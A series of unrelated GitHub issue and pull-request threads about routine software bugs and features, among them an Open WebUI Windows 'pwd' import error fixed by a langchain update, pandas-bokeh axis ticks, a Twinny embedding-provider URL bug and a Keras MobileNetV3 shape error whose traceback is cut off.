Windows import pwd error

Bug Report
Description
Bug Summary:
Python pwd library not in Windows so langchain library can't work after run start_windows.bat.
Steps to Reproduce:
git clone https://github.com/open-webui/open-webui.git
cd open-webui/
cp -RPp example.env .env

npm i
npm run build

cd ./backend
pip install -r requirements.txt -U
start_windows.bat

Expected Behavior:
Work
Actual Behavior:
Not work
Environment

Operating System: Windows 10

Reproduction Details
Confirmation:

[x] I have read and followed all the instructions provided in the README.md.
[x] I have reviewed the troubleshooting.md document.
[x] I have included the console logs.

Logs and Screenshots
Browser Console Logs:
Traceback (most recent call last):
  File "<frozen runpy>", line 198, in _run_module_as_main
  File "<frozen runpy>", line 88, in _run_code
  File "C:\bin\.pyenv\pyenv-win\versions\3.11.6\Scripts\uvicorn.exe\__main__.py", line 7, in <module>
  File "C:\bin\.pyenv\pyenv-win\versions\3.11.6\Lib\site-packages\click\core.py", line 1157, in __call__
    return self.main(*args, **kwargs)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "C:\bin\.pyenv\pyenv-win\versions\3.11.6\Lib\site-packages\click\core.py", line 1078, in main
    rv = self.invoke(ctx)
         ^^^^^^^^^^^^^^^^
  File "C:\bin\.pyenv\pyenv-win\versions\3.11.6\Lib\site-packages\click\core.py", line 1434, in invoke
    return ctx.invoke(self.callback, **ctx.params)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "C:\bin\.pyenv\pyenv-win\versions\3.11.6\Lib\site-packages\click\core.py", line 783, in invoke
    return __callback(*args, **kwargs)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "C:\bin\.pyenv\pyenv-win\versions\3.11.6\Lib\site-packages\uvicorn\main.py", line 418, in main
    run(
  File "C:\bin\.pyenv\pyenv-win\versions\3.11.6\Lib\site-packages\uvicorn\main.py", line 587, in run
    server.run()
  File "C:\bin\.pyenv\pyenv-win\versions\3.11.6\Lib\site-packages\uvicorn\server.py", line 62, in run
    return asyncio.run(self.serve(sockets=sockets))
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "C:\bin\.pyenv\pyenv-win\versions\3.11.6\Lib\asyncio\runners.py", line 190, in run
    return runner.run(main)
           ^^^^^^^^^^^^^^^^
  File "C:\bin\.pyenv\pyenv-win\versions\3.11.6\Lib\asyncio\runners.py", line 118, in run
    return self._loop.run_until_complete(task)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "C:\bin\.pyenv\pyenv-win\versions\3.11.6\Lib\asyncio\base_events.py", line 653, in run_until_complete
    return future.result()
           ^^^^^^^^^^^^^^^
  File "C:\bin\.pyenv\pyenv-win\versions\3.11.6\Lib\site-packages\uvicorn\server.py", line 69, in serve
    config.load()
  File "C:\bin\.pyenv\pyenv-win\versions\3.11.6\Lib\site-packages\uvicorn\config.py", line 458, in load
    self.loaded_app = import_from_string(self.app)
                      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "C:\bin\.pyenv\pyenv-win\versions\3.11.6\Lib\site-packages\uvicorn\importer.py", line 24, in import_from_string
    raise exc from None
  File "C:\bin\.pyenv\pyenv-win\versions\3.11.6\Lib\site-packages\uvicorn\importer.py", line 21, in import_from_string
    module = importlib.import_module(module_str)
             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "C:\bin\.pyenv\pyenv-win\versions\3.11.6\Lib\importlib\__init__.py", line 126, in import_module
    return _bootstrap._gcd_import(name[level:], package, level)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "<frozen importlib._bootstrap>", line 1204, in _gcd_import
  File "<frozen importlib._bootstrap>", line 1176, in _find_and_load
  File "<frozen importlib._bootstrap>", line 1147, in _find_and_load_unlocked
  File "<frozen importlib._bootstrap>", line 690, in _load_unlocked
  File "<frozen importlib._bootstrap_external>", line 940, in exec_module
  File "<frozen importlib._bootstrap>", line 241, in _call_with_frames_removed
  File "Y:\open-webui\backend\main.py", line 17, in <module>
    from apps.rag.main import app as rag_app
  File "Y:\open-webui\backend\apps\rag\main.py", line 19, in <module>
    from langchain_community.document_loaders import (
  File "C:\bin\.pyenv\pyenv-win\versions\3.11.6\Lib\site-packages\langchain_community\document_loaders\__init__.py", line 163, in <module>
    from langchain_community.document_loaders.pebblo import PebbloSafeLoader
  File "C:\bin\.pyenv\pyenv-win\versions\3.11.6\Lib\site-packages\langchain_community\document_loaders\pebblo.py", line 5, in <module>
    import pwd
ModuleNotFoundError: No module named 'pwd'

Additional Information
I found solution on langchain issue page https://github.com/langchain-ai/langchain/issues/17514#issuecomment-1949073290 I change requirements.txt with pwdless version, and it just work. I didn't test it properly maybe it has some issue.

This seems to be a problem with langchain. Either we wait until it gets fixed (in the issue the next release was mentioned) or we set the langchain package to a specific version which will work (langchain==0.1.6 langchain-community==0.0.19 langchain-core==0.1.23.) I think we should wait since start_windows is still in the making.. @tjbck what do you think?
For now you can run start.sh in WSL for Windows. Or pip unistall langchain langchain-community and pip install langchain==0.1.6 langchain-community==0.0.19 on your machine.

I believe it's best if we wait until langchain team sort this out, like @jannikstdl mentioned start_windows.bat is WIP at the moment. I'll keep this issue open and be monitoring this issue closely.

@babico this should be fixed https://github.com/langchain-ai/langchain/pull/17532 , can you try this again and give feedback?
Before run pip install --upgrade langchain langchain-community on your machine / virtual env.

@babico this should be fixed https://github.com/langchain-ai/langchain/pull/17532 , can you try this again and give feedback?
Before run pip install --upgrade langchain langchain-community on your machine / virtual env.

Yes, installing the new version fixed the problem. It worked directly without any problem.

Thanks for the confirmation, I'll close this issue!


Baby Book Workflow

Currently, there exists code to upload an image to firebase, and also to select a photo locally.
This uploads caretakers' baby photos and creates a photo gallery of the selected photo
The Task
Instead of a toggle, the caretaker's data should be pulled to see if they are assigned a baby. You should query the baby data in Firebase and see if a baby exists in the baby context. If it doesn't exist, it should show the restricted blank page and if there exists a baby, then the empty/partially filled photo gallery should be viewed.
The selected photo locally needs to be the one that's uploaded to Firebase!
And then the images need to be displayed in the tab in a photo gallery view.
Please follow the design and make this tab more robust!

Important Information

restricted access page from baby object data
image picker success
allow for the replacement of image
Proper layout of photo gallery (pull from database) when exited screen/when image + caption has been submitted
should have the purple graphics in each screen please!!

Never hesitate to reach out for help!

Handled in a different ticket!


No adaptative xaxis tick label and gridline  for X float value

Hello,
I have a problem with xaxis tick label and associated grid line: there is no automatic adaptation leading to display all tick label when there float number.
Hereunder the code to test it:
import numpy as np
import pandas as pd
pd.set_option('plotting.backend', 'pandas_bokeh')
pd.plotting.output_notebook()

np.random.seed(42)
df = pd.DataFrame({"Google": np.random.randn(1000)+0.2,
                   "Apple": np.random.randn(1000)+0.17},
                   index=np.arange(1000)*0.001)
df = df.cumsum()
df = df + 50
df.plot_bokeh(kind="line")

I get this output:

Do you have any idea how to handle this?
Python 3.8.8
pandas_bokeh 0.5.4
pandas 1.2.3
jupyterlab 3.0.9
notebook 6.2.0
IPython 7.21.0
jupyter-bokeh  2.0.4
OS windows7

Hi @leopoletti ,
there is an xticks option in pandas-bokeh. just try for example:
df.plot_bokeh(kind="line", xticks=np.arange(10)*0.1)

and you get

Best Patrik

Hello Patrik,
Thank for your solution it is an helping work around but basiccaly I would like the xtick label to adapat with thz zoom in or zoom as you could could get using directly bokeh:
from bokeh.plotting import figure, show

p=figure()
p.line(x=df.index,y=df.Google, legend_label="Google", color="blue",line_width=2)
p.line(x=df.index,y=df.Apple, legend_label="Apple",color="orange",line_width=2)

show(p)

Hi @leopoletti,
thanks again for opening the issue. I think the default behaviour should be as you described it with automatic ajustment of the float xaxis. I just release a new release 0.5.5 that implemented this. Looks like this now:

Hope you enjoy working with Pandas-Bokeh.
Best Patrik


Twinny tries ollama URL for oobabooga embeddings

Describe the bug
I configured oobabooga as embedding provider:

Host: <IP_ADDRESS>
Port: 5000
Path: /v1/embeddings
Model name: all-mpnet-base-v2

When I now select the provider and click "Embed workspace documents" vscode still requests http://<IP_ADDRESS>:11434/api/embed
To Reproduce
Try to use oobabooga as embedding provider.
Expected behavior
The configured provider, URL, port and path should be used..
API Provider
Oobabooga
Chat or Auto Complete?
Embedding
Model Name
all-mpnet-base-v2
Desktop (please complete the following information):

OS: Linux

Additional context
Chat works as expected with oobabooga (chat) provider.

Hey, thanks for the report. However, I'm sorry but I cannot replicate this?

I can test next week more. Anything I should start with?
What I did:
I configured the embedding provider and then opened the panel and pressed the button for embedding the workspace. It didn't do anything and only showed a notification that didn't went away. Then I saw an error in the vscode developer tools (electron console) and patched a console.log for the URLs into the js file, and saw that it seems to use the oolama port. By listening there with netcat I was able to verify that it indeed tries port 11434 instead of the configured port.
I use ooba for chat and it works fine and I do not have a FIM model configured yet.

I observe same erratic behaviour with LM Studio 0.3.3, no matter what model is selected for embedding.
twinny is configured for: http://<IP_ADDRESS>:1234/v1/embeddings, yet requests are sent to  http://<IP_ADDRESS>:1234/api/embed

Thanks for the detailed response. Please could you let me know what version you are using?

twinny-3.17.20-linux-x64

Had the same issue with embedding with LM Studio.
At end forked the repo and commented-out lines 157-160 in src/extension/provider-manager.ts and use local extension build - now all works perfectly with LM Studio.
@rjmacarthy - plz, take note

The question is whether the default settings shouldn't be overwritten anyway when I configure an own provider.

Hey, sorry about this bug.  I thought I'd removed that code in a previous version, I just released version v3.17.22 which should address it.
Many thanks,

I still have the problem with v3.17.24.

I think the problem may start somewhere else. When I select the embedding provider after I clicked the cylinder icon, it switched back to blank after a few seconds. It neither tries to reach the ooba port nor the ollama port.
I think trying to embed without a selected provider then defaults to ollama.
Under what conditions is the selection of the embedding provider changed? Are there some checks that fail for the configured provider? I wonder what may be checked, because there is no http request that could fail in the time from selecting the ooba provider and twinny switching back to the empty item in the select box.


[backport] Do not ignore FutureWarning other than experimental features

Backport of #5949
(conflict resolved manually)

How about cherry-picking cc6f54cb226e28fbcd87f8f5a1b3f318bee99fd8 here?

Jenkins, test this please.

Jenkins CI test (for commit 07361660cf3ebb1c0628bf8bb73d44c274cdb0da, target branch v5) succeeded!

Jenkins, test this please.

Jenkins CI test (for commit 94ff77ebe23e09854364f365292c15f62bc9ec3e, target branch v5) failed with status FAILURE.
(For contributors, please wait until the reviewer confirms the details of the error.)


Could not open file for writing on Synology

When I was trying to mux a mp4 file to mkv, I got the following error:
The file 'xxx' could not be opened for writing: open file error.

The multiplex setting was like this, basically default

I've checked the configuration in docker, the writing permisson has been given.

And there's also file created in config folder, so it seems the application does have the writing permission.

I tried the same file on windows with the same version of mkvtoolnix, there was no problem.
The DSM version is 6.2.3-25426 update 2
The Docker version is 18.09.0-0513

Oh, and I'm using the latest version of docker-mkvtoolnix, which is 1.43.0 I think. The mkvtoolnix version is 49.0.0.

Look at the ownership and permission of your docker/mkvtoolnix/storage folder.  They are probably not allowing user you specified via USER_ID/GROUP_ID variables to write ?

Look at the ownership and permission of your docker/mkvtoolnix/storage folder. They are probably not allowing user you specified via USER_ID/GROUP_ID variables to write ?

It is the USER_ID/GROUP_ID problem. I created a new container and forgot to change those. Thank you!


Adding node policy_name and policy_group attributes

This doesn't implement the /policies or /policy_groups endpoints (which i might add later), just the node association attributes.
(Related to https://github.com/terraform-providers/terraform-provider-chef/issues/6)

This change is

@hynd do you have a working example of using policy files with the Chef node resource? I tried to use it but got the following error:
Error: Unsupported argument

  on .terraform/modules/win_chef_nodes/main.tf line 8, in resource "chef_node" "Node":
   8:   policy_name  = var.policy_name

An argument named "policy_name" is not expected here.

Error: Unsupported argument

  on .terraform/modules/win_chef_nodes/main.tf line 9, in resource "chef_node" "Node":
   9:   policy_group = var.policy_group

An argument named "policy_group" is not expected here.


Add admin action for sending user emails

This adds a generic option for sending emails to users. The form view will
accept a queryset returning users and will display an email form asking for
subject and body input. Currently, nothing is templated, it is only passed in to
the base email template as a string.
This also breaks out sending email into a task, as more than a 100 outbound
emails could timeout the send request.
Note: this is a hotfix PR into rel and will require manual merge back into master as well.

Also, note, this branch should be manually merged into relcorp as well.

Bleh, should have opened hotfixes against master, as rel was going to be hotfix merged. Sorry, will reopen.


Feature Req: Please add the "Device names" where conflict file are located in "Conflict Resolver"

I'm not sure what you mean. All conflict files are on your local device, because that's how conflict files work. Can you clarify, please?

Here, in my case usually conflict resolver appears for case like this
There are 2 devices "Dell" & "Lenovo". Both have admin privilege to folder name "Abc" in syncthing app. Dell opens an excel file  xyz.xls located at "Abc" folder, Dell device creates temporary file "~$xyz.xls" on shared folder and same is shared with "Lenovo" Device.
Now the Lenovo device is switched off. And user at Dell device finishes working on excel which automatically removes ~$xyz.xls after closing file.
Tomorrow when both devices come online, the "Conflict Resolver" shows the conflict. While it is easy to identify last updated file version by looking at timestamp of conflict files. But there are more than 4 devices with a common folder it would be easier to identify if the last activity on file is caused by which Device on such conflict files.

Syncthing creates conflict files, as described here. The Conflict Resolver tool looks for files whose names match that pattern, and displays them. The only information it has to work with is the information in the file name.
There was some work done on Syncthing a while back to add the device ID of the device which created the conflict to the file name, but IIRC it started getting hard in some edge cases, and I don't think it was ever merged.
I suggest adding ignore rules which ignore the temporary ~$xyz.xls files, as they're not the sorts of things you generally want to sync.

Thank you for replying and I am happy to know someone out there also wanted device ID to be shown on conflict files.  My conflicts are on original files not temporary files. I can manage conflicted files based on timestamp for now.
Also temporary files notifies application that would lock it for being currently used across all systems, I have no problem with temporary files.

If I'm correct, device ID is now visible, right?
It would be a great addition to the conflict resolver to have a method to chose by Source = Device ID additionnally to the timestamps method.
Is it possible to reopen this issue?


Inconsistent error message between generic interface merging and generic ambient class/interface merging

This code...
interface Foo<T> {
    n: T;
}
interface Foo<U> {
    y: U;
}

...gets the error All declarations of an interface must have identical type parameters.
This code...
class Foo<T> {
    n: T;
}
interface Foo<U> {
    y: U;
}

...gets no error.

Probably related to the other issue with type parameters not being identical: #6210

This is fixed now.


Fixed sized ModalView's not centered propery after rotating android screen

If I create a PopUp on android with size_hint=(None, None) and then rotate the device, it is not recentered. Maybe on_resize does not fire there? However if I bind _align_center to size like this:
self.get_root_window().bind(size=popup._align_center)

it seems to be working fine.

Want to back this issue? Place a bounty on it! We accept bounties via Bountysource.

This should be retested. I committed a fix for resizing popups when the keyboard is opened/closed, and it will probably fix this.

from kivy.lang import Builder
from kivy.base import runTouchApp
from kivy.uix.boxlayout import BoxLayout
Builder.load_string('''
#:import Factory kivy.factory.Factory
<Pop@Popup>:
    size_hint: None, None
<Test>:
    Button:
        on_release: Factory.Pop().open()
''')
class Test(BoxLayout): pass
runTouchApp(Test())

Can't test with launcher, because can't rotate, but if it's fixed, it should be closed. ^^

Assuming closed as no-one has complained for 5 years.


Vault Secrets is not supported

Vault Secrets is now part of the HCP CLI
https://developer.hashicorp.com/hcp/docs/cli/commands/vault-secrets
It would be awesome to support it as you do with the other commands
Here the docs of the Vault Secrets API and a screenshot of the basic procedure
https://developer.hashicorp.com/hcp/api-docs/vault-secrets

Is probably the quickest thing to do is just version bump the HCP CLI version to something ^0.93.0 and bridge again using the terraform bridge?


Default view when user launches GeoParser for the first time

We need to have some kind of a default view (a default index) thats loaded into Geoparser, so that the user sees some points on the map, the first time GeoParser is launched. This is good suggestion, because as of now it looks too blank and it would also give the user a look and feel as to how GeoParser is gonna work like.

I can take care of this. I think we should have some query parameters in URL which will connect to view index. So URL should look like localhost:8000/viewIndex?indexPath=http://path/to/polar/index&domain=polar
As of now it will show all the geo parsed data for uploaded files.
Thanks for creating this issue.

Added deep linking functionality.
We can now create deep links to view a particular index. Example below -
http://localhost:8000/?idx=http://localhost:8983/solr/core1&domain=test&v=i

v --view  values => {i —index , f —file , s —search}
idx -- index path
domain -- name of domain


Added NimBLEHIDDevice

Ported the original version of NimBLEHIDDevice.
I used the following sketch to check the operation.
https://github.com/wakwak-koba/ESP32-NimBLE-Keyboard
https://github.com/wakwak-koba/ESP32-NimBLE-Mouse

Look good to me, thanks!


Some items not shown in search if you select "Registered" index instead of "Creative Tab" [1.21 NeoForge]

There is a list of what's became hidden:
specified enchantment books became just one item "enchanted book", so no way to check max lvl of enchants or some modded recipe for making books
most of bee spawn eggs from productive bees
PS: if you select "creative tab" index all of that items shown, but whole item list is a big mess, where vanilla and modded items just mixed up weird ways. And not showing full vanilla item list first, and mods item lists in alphabetical modname order after vanilla. So "registered" provide better sorted item list, but instead some items missing.

This is the intended functioning of "Registered". I don't find it particularly useful, which is why it is not on by default. Minecraft doesn't, really, have a way to determine what "sub items" exist for an item, say, enchanted books. The only way you can determine this is by asking creative tabs, and thus the ordering will be based on the minecraft creative tabs, and how mods add to them. I'd like to add more options for the index and its sorting in the future.

I see at least 2 variants to solve that

Just add alphabetical mod filtering to "Creative Tab" setting, so it's not a mess of vanilla and modded items

Take order of items from "Registered", but include all missing items from "Creative Tab". Cause this extras have no order in "registered" - just put them in the end of correspondent mod item list


How to install?

Hi
Great to see someone picking this up!
Question: have you published this package to Nuget?

hi
for now it is available in section Tags/Releases
https://github.com/AdaskoTheBeAsT/Typewriter/releases


Include workflow queries in status report

I realised that queries from the workflow were not being included in the status report from the init action.
Merge / deployment checklist

[ ] Confirm this change is backwards compatible with existing workflows.
[ ] Confirm the readme has been updated if necessary.

Thanks for the review. I'm going to add some quick tests of this if I caan work out a good way to do it. Should be all test code though so less of a need to re-review unless you want to. Let me know.

I'd like to take a look, but you can merge prior to my re-review. Thanks

Unfortunately writing a unit test that creates a status report is quite a pain at the moment because it relies on lots of state. We should work towards making this easier, but right now I'm not sure it's worth it for this change.
I'm running some manual tests now and I'll check that the status reports show up correctly at the other end.


minor sample code misprint

[Enter feedback here]
In the sample regarding ASSERTERROR (asterisks added for emphasis)
InvalidDate := 010184D;
**InvalidDateErrorMessage** := Text001;
ASSERTERROR CheckDate(InvalidDate);
IF GETLASTERRORTEXT <> InvalidDateErrorMessage THEN
  ERROR('Unexpected error: %1', GETLASTERRORTEXT);

This example requires the following variables.

var
    InvalidDate : Date;
    **CusInvalidDateErrorMessage** : Text;
    Text001 : TextConst 'The date is outside the valid date range.';

The var CusInvalidDateErrorMessage should be named InvalidDateErrorMessage to match the other sample code.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: ff8af30e-3d81-30c3-44c8-fc4cb631d001
Version Independent ID: 315c1531-77aa-c602-6c0b-41d160d791e2
Content: AL Simple Statements - Business Central
Content Source: dev-itpro/developer/devenv-al-simple-statements.md
Service: dynamics365-business-central
GitHub Login: @SusanneWindfeldPedersen
Microsoft Alias: solsen

Thanks for reporting this - it's fixed with the next refresh of the docs.


RT-1.1: Adding deviation for delete of /network-instances/network-instance/tables

Adding deviation NetworkInstanceTableDeletionRequired to allow deletion of /network-instances/network-instance/tables during bgpClearConfig only when deviation is marked true.
"This code is a Contribution to the OpenConfig Feature Profiles project ("Work") made under the Google Software Grant and Corporate Contributor License Agreement ("CLA") and governed by the Apache License 2.0. No other rights or licenses in or to any of Nokia's intellectual property are granted for any other purpose. This code is provided on an "as is" basis without any warranties of any kind."

Pull Request Test Coverage Report for Build<PHONE_NUMBER>

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 57.081%

Totals

Change from base Build<PHONE_NUMBER>:
0.0%

Covered Lines:
1181

Relevant Lines:
2069

💛  - Coveralls

b/273978406 carries the internal presubmit effort.

b/273977750 is the internal bug for tracking the approval.

/gcbrun

/gcbrun

This PR only introduced a deviation, and did not change the testing logic. Since b/273977750 approved the deviation creation, I"m merging with my own LGTM


Update graph.py and Simplifies assignment logic for G

Simplifies assignment logic for G

Changes made in tinygrad/:
------------------------------------------------------------
files                             insertions       deletions
------------------------------------------------------------
tinygrad/graph.py                          1               1
------------------------------------------------------------
lines added in the tinygrad folder: 0

@geohot can we get rid of this try except logic, since networkx is in setup.py?
try:
  import networkx as nx  # type: ignore
except ImportError:
  nx = None  # graph won't work


Repo sync for protected CLA branch

The pull request is created from main637914456741794974 to main to fix git push error for protected CLA branch

@opbld17 : Thanks for your contribution! The author(s) have been notified to review your proposed change.


Add a non-Korean test for Formatter

To increase the coverage a little. Also fix a warning by replacing [pytest] with [tool:pytest] in setup.cfg.

Please rebase it to fix the build failure.
And I suggest you separate the new assertion with a new test case such as test_formatter_without_korean.

Coverage increased (+0.3%) to 99.749% when pulling f215befecb7e1c21d68cb03d889999a9822b7a55 on lqez:minor/more-coverage into 34b72cc5cef980f00bcab40d3c2f944990f924c3 on what-studio:master.

Coverage increased (+0.3%) to 99.749% when pulling f215befecb7e1c21d68cb03d889999a9822b7a55 on lqez:minor/more-coverage into 34b72cc5cef980f00bcab40d3c2f944990f924c3 on what-studio:master.


mxnet-git building error UBUNTU 16.04

git clone https://github.com/dmlc/mxnet.git
cd mxnet/
make
Makefile:23: mshadow/make/mshadow.mk: No such file or directory
Makefile:24: /data/gits/mxnet/dmlc-core/make/dmlc.mk: No such file or directory
Makefile:85: /data/gits/mxnet/ps-lite/make/ps.mk: No such file or directory
make: *** No rule to make target '/data/gits/mxnet/ps-lite/make/ps.mk'.  Stop.

are those folders empty?

git again .

git clone --recursive https://github.com/dmlc/mxnet.git

I re-git mxnet.git and used --recursive , but it doesn't works. Then, I find an answer:
link: https://stackoverflow.com/posts/48272520/edit, and it works for me.
git clone --no-checkout https://github.com/apache/incubator-mxnet
cd incubator-mxnet
git checkout v0.7.0 -b v0.7.0
git submodule update --init

It means you have not cloned mxnet properly.
use git clone --recursive https://github.com/apache/incubator-mxnet.git


Typo in README

Sorry, I noticed this during a copy-paste when setting up.

What kind of change does this PR introduce? (check at least one)

[ ] Bugfix
[ ] Feature
[x] Code style update
[ ] Refactor
[ ] Build-related changes
[ ] Other, please describe:

Does this PR introduce a breaking change? (check one)

[ ] Yes
[x] No

Codecov Report

Merging #70 (b60a916) into v2 (eeb1eac) will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##               v2      #70   +/-   ##
=======================================
  Coverage   99.01%   99.01%
=======================================
  Files           5        5
  Lines         102      102
  Branches       11       11
=======================================
  Hits          101      101
  Misses          1        1

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update eeb1eac...b60a916. Read the comment docs.


Determine if DefaultAlgorithm is subject to memory usage issues

In #2976 , three estimators were filtered based on excessive memory usage.  This filtering is done in the current IterativeAlgorithm, but can be extended to the DefaultAlgorithm.  This issue tracks the testing of the DefaultAlgorithm and a refactor to publicize and refactor _filter_estimators() so that both algorithms can use it, as necessary.

My gut tells me:

Copy the heuristics @bchen1116 added to the old IterativeAlgorithm into the new DefaultAlgorithm
Run perf tests
Confirm that we're seeing the same improvement as from @bchen1116 's original work in #2982
Merge


Character switching

Maybe this is something you could work on today (I really appreciate the work you've done, thus far).
The basic premise requires that the player can switch between characters with the press of a button.
What needs to change whenever the player presses a button (I'd go with the space bar, for now. On XBOX it should be the A button or right trigger, but I can implement the XBOX controller layout myself later if that's too much work. It's not really needed for the game jam but I thought it would be nice to have a build for XBOX One/Series X if we end up getting sponsorship for this game):

Character sprite needs to be swapped
Character abilities need to change

For the default character sprite, Dorothy, there needs to be a circle of AoE damage drawn around the character
For the Lion sprite, there needs to be no damage output but the character sprite should move twice as fast
For the Tin Man sprite, there needs to be an axe thrown left or right (depending on what horizontal direction the player is facing) every 1.5 seconds.

If instant character swapping turns out to be too easy for the player, we could add a cool-down later but I think getting the feature in should be a priority for now.

Dorothy deals damage around her. Tin Man throws axes horizontally. Lion does not deal damage, but runs quickly. Do I understand correctly?

Dorothy deals damage around her. Tin Man throws axes horizontally. Lion does not deal damage, but runs quickly. Do I understand correctly?

Correct

Pushed swap mechanic. You can check it. Also i have nintendo switch controller only.

Looks good.
No worries about the controller. Main target for now is the browser anyways (because that's what the game jam called for) and I have tons of controllers to test with myself.
I saw you added a timer of 5 seconds for a cool-down. I like that but I think we'll probably need a second timer for a "grace period" so that a player can swiftly swap twice before the cool down kicks in. That's for later though. Need to play-test it first. Maybe it's good the way it is.

Yeah. I add it cause with no cool-down that's swaps with speed of light and feels like hell to swap correctly. I put 5 sec just for test. I think 2 is the best option

True. I'll test it on my XBOX momentarily. I get a better feel there than on PC.

Pushed char attacks mechanics.

Note: My sprites are just for clarity. You can change it to yours

Will do, once I'm fully finished with the character art.

@RuinedKingg May I merge the CharacterSwap branch or are you still working on it?

Now you may. I add damage mechanics into this branch. It would be more correct named it CharacterAttacksAndSwap actually


🔊 Add sentry client to browser and node

BREAKING CHANGE: The PlaytBrowserClient now needs a gameId option.
Tested by linking into RR.
Works with https://github.com/playt-net/clashparadise/pull/3027

@playt-net/developer Sentry finally working with this and the other PR, plz review 🙏


Clean up whitespace errors

Ah, so secretly you've turned D into Python!

Exactly.

Anyone want to pull this?


Fix combined deploy scripts

Related Issue or Background Info

Hot fix to deploy scripts. Dev deploy from main failed: https://github.com/CDCgov/prime-simplereport/actions/runs/596466355

Changes Proposed

access env var correctly

Additional Information

Ran the deploy to test: https://github.com/CDCgov/prime-simplereport/actions/runs/596498219

Frontend: https://test.simplereport.gov/app/static/commit.txt
Backend: Failed due to the database not being configured correctly

Ran the deploy to demo: https://github.com/CDCgov/prime-simplereport/runs/1971478533?check_suite_focus=true

Frontend: https://demo.simplereport.gov/app/static/commit.txt
Backend: https://demo.simplereport.gov/api/actuator/info

Testing new/renamed Github actions is a bit tricky. In hindsight I think the approach should have been commit no-op action with the desired name to main. Add action steps, test on branch and remove old actions

It appears that the test api is missing pgcrypto
2021-02-24T15:37:48.011686962Z Caused by: liquibase.exception.DatabaseException: ERROR: function gen_random_uuid() does not exist
2021-02-24T15:37:48.011693662Z   Hint: No function matches the given name and argument types. You might need to add explicit type casts.
2021-02-24T15:37:48.011697562Z   Position: 125 [Failed SQL: (0) INSERT INTO public.api_user
2021-02-24T15:37:48.011701262Z (internal_id, created_at, updated_at, is_deleted, last_seen, login_email, last_name)
2021-02-24T15:37:48.011704962Z VALUES (
2021-02-24T15:37:48.011708562Z   gen_random_uuid(), now(), now(), false, null,
2021-02-24T15:37:48.011712262Z<EMAIL_ADDRESS>'Database Migration Process'
2021-02-24T15:37:48.011715962Z )]

@TimBest that's the error I was getting locally that I fixed by resetting the DB with the readme steps

merging to fix deploy scripts on main and then going to run CREATE EXTENSION pgcrypto; on the test env db


[PRD-12275] Canvas | 2-finger swipe to act as pan

A brief history of two-finger panning in Canvas:
Reactflow supports two-finger panning, but it also pans on mouse scroll wheel input. However, the product requirement was to enable two-finger panning along with zoom using the scroll wheel. To meet this requirement, custom changes were made in Reactflow, introducing two separate props for these functionalities.
The initial solution involved detecting touchpad input during a scroll event and performing panning for the touchpad while zooming for the scroll wheel. However, over time, browser updates caused the touchpad detection logic to malfunction. The issue persists in most browsers, except for MAC Brave.
Fix Details:
Previously, a wheel was identified as a touchpad event when event.wheelDeltaY === -3 * event.deltaY. However, the multiplication factor has now been changed from -3 to -6 for certain browsers, such as Chrome (Mac + Windows) and Brave (Windows).

Not needed anymore


Fix date pickers on user page, control component is making education and experience take the same dates

Resolved by:
https://github.com/ryanAllMad/js-job-helper/commit/eab148042a760d2dac00f2050c94b48f77ae135c
https://github.com/ryanAllMad/js-job-helper/commit/efca2ffd0bf38fa1068edfae1e075f34c496c9df


Is there any tutorial to get a token?

Have a look at this stack overflow question: https://stackoverflow.com/questions/58041493/cannot-get-access-token-for-azure-cognitive-services-for-tts
BTW this is not the right place for azure customer support.


在arduino里面是否可以直接操作寄存器，达到直接操作未封装的硬件模块的目的

这个我理解应该是一个基础的能力，可能已经支持，帮忙给出示例也可以

Please use AirMCU's issue template to create issues in the future. Before creating an issue, please read the previous issues, chip manuals, documentation, etc. in detail. If you do not comply, we will take measures including but not limited to direct closure, refusal to answer, or even refuse to allow you to participate in any form of development, etc. Thank you for your understanding.


Crash on startup

Crash log below for latest version
https://pastebin.com/kSjtU8Sr
Fabric loader 0.12.12-1.18.1
Dependency versions:
FabricAPI 0.45.0
ClothConfig 6.0.45

Forgot to mention this occurred on server startup

Found what causes the crash, working on it!


MobileNetV3 models can't infer the static shape

System information.

Have I written custom code (as opposed to using a stock example script provided in Keras): no
OS Platform and Distribution (e.g., Linux Ubuntu 16.04): any
TensorFlow installed from (source or binary): binary
TensorFlow version (use command below): 2.6.0
Python version: 3.8
Bazel version (if compiling from source): no
GPU model and memory: no
Exact command to reproduce:
https://colab.research.google.com/drive/1geUcvgluev88zRG-hGhRgJ4YbaA6pt2Y?usp=sharing

Describe the problem.
MobileNetV3 models can't estimate output shape of the intermediate layers because some functions (activations like hard_swith, i suppose) did not wrapped with layers.
Describe the current behavior.
Exception raised when compute_output_shape executed.
Describe the expected behavior.
Just like ALL other models in keras.applications, MobileNetV3* models should be able to compute their output shapes.
Contributing.

Do you want to contribute a PR? (yes/no): no
If yes, please read this page for instructions
Briefly describe your candidate solution(if contributing): no

Standalone code to reproduce the issue.
Provide a reproducible test case that is the bare minimum necessary to generate
the problem. If possible, please share a link to Colab/Jupyter/any notebook.
Source code / logs.
---------------------------------------------------------------------------
TypeError                                 Traceback (most recent call last)
/usr/local/lib/python3.7/dist-packages/keras/engine/base_layer.py in compute_output_shape(self, input_shape)
    782         try:
--> 783           outputs = self(inputs, training=False)
    784         except TypeError as e:

9 frames
/usr/local/lib/python3.7/dist-packages/keras/engine/base_layer.py in __call__(self, *args, **kwargs)
    976       return self._functional_construction_call(inputs, args, kwargs,
--> 977                                                 input_list)
    978

/usr/local/lib/python3.7/dist-packages/keras/engine/base_layer.py in _functional_construction_call(self, inputs, args, kwargs, input_list)
   1114       outputs = self._keras_tensor_symbolic_call(
-> 1115           inputs, input_masks, args, kwargs)
   1116

